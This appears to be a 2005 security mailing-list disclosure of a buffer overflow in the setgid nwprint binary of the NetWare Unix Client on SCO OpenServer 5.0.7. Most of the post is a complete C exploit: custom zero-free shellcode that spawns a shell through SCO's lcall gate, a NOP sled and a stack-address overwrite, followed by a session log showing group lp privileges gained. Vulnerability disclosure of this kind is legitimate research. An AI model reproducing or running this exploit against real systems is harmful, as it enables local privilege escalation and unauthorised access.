i started to play with a vanilla installation of SCO OpenServer 5.0.7 to check the portability of some code a few days ago, and noticed that some binary files were segfaulting if given an arbitrary long input; btw i don't think it's really a problem because most of them were not setuid/setgid, and those with at least one of those flags on were not owned by root. here's an example of a program -rwx--s--x 1 bin lp 112756 Mar 27 17:17 /usr/lib/nucrt/bin/nwprint giving egid=lp to users exploiting it. example: scosysv% gcc ex.c -o ex -W scosysv% ./ex shellcode length: 43 address: 0x8047d90 $ uname -a; id SCO_SV scosysv 3.2 5.0.7 i386 uid=202(dbf) gid=50(group) egid=18(lp) groups=50(group) $ regards. /* * minervini at neuralnoise dot com (c) 2005 * sample code exploiting a buffer overflow vulnerability in * NetWare Unix Client 1.1.0Ba on SCO OpenServer 5.0.7; */ #include <sys/types.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #ifndef _PATH # define _PATH ("/usr/lib/nucrt/bin/nwprint") #endif /* * this shellcode may sound a bit tricky; most of the work * is caused by SCO's way to call the kernel, lcall $0x7,$0x0, * translated by the assembler in "\x9a\x00\x00\x00\x00\x07\x00"; * to avoid zeroes i push the NOT-ed bytes on the stack, NOT them * and then jump to %esp; * if anyone knows a shorter way to do this execve, a mail is appreciated. */ char *scode = "\x31\xc9" // xor %ecx,%ecx "\x89\xe3" // mov %esp,%ebx "\x68\xd0\x8c\x97\xff" // push $0xff978cd0 "\x68\xd0\x9d\x96\x91" // push $0x91969dd0 "\x89\xe2" // mov %esp,%edx "\x68\xff\xf8\xff\x6f" // push $0x6ffff8ff "\x68\x9a\xff\xff\xff" // push $0xffffff9a "\x80\xf1\x10" // xor $0x10,%cl "\xf6\x13" // notb (%ebx) "\x4b" // dec %ebx "\xe2\xfb" // loop $-3 "\x91" // xchg %eax,%ecx "\x50" // push %eax "\x54" // push %esp "\x52" // push %edx "\x50" // push %eax "\x34\x3b" // xor $0x3b,%al "\xff\xe3"; // jmp *%ebx unsigned long get_sp (void) { __asm__("movl %esp,%eax"); } int main (int argc, char **argv) { int i, slen = strlen(scode), offset = 0; long ptr, *lptr; char *buf; if (argc > 1) offset = strtoul(argv[1], NULL, 0); buf = (char *)malloc(1024); memset(buf, 0, 1024); for (i = 0; i < (901 - slen); i++) buf[i] = 0x90; printf("shellcode length: %d\n", slen); for (i = (901 - slen); i < 901; i++) buf[i] = scode[i - (901 - slen)]; lptr = (long *)(buf + 901); printf("address: 0x%lx\n", ptr = (get_sp() - offset)); for (i = 0; i < 30; i++) *(lptr + i) = (int)ptr; execl(_PATH, "nwprint", buf, NULL); return(0); } -- p. minervini, minervini@xxxxxxxxxxxxxxx